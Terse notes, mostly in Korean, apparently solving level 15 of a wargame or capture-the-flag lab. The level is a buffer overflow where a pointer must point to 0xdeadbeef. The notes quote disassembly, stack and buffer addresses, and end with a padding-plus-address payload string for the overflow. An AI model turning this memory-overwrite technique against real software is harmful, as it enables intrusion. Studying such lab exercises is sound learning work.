level 15

1. 버퍼오버플로우

2. *check==0xdeadbeef

0x080484ad <main+29>:   mov    0xfffffff0(%ebp),%eax

0x080484b0 <main+32>:   cmpl   $0xdeadbeef,(%eax)

이부분이 힌트이다!

ebp: 0xbffff678

check: ebp-16

deadbeef: 0x80484b2

fgets 부분: 0xbffff640

A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분!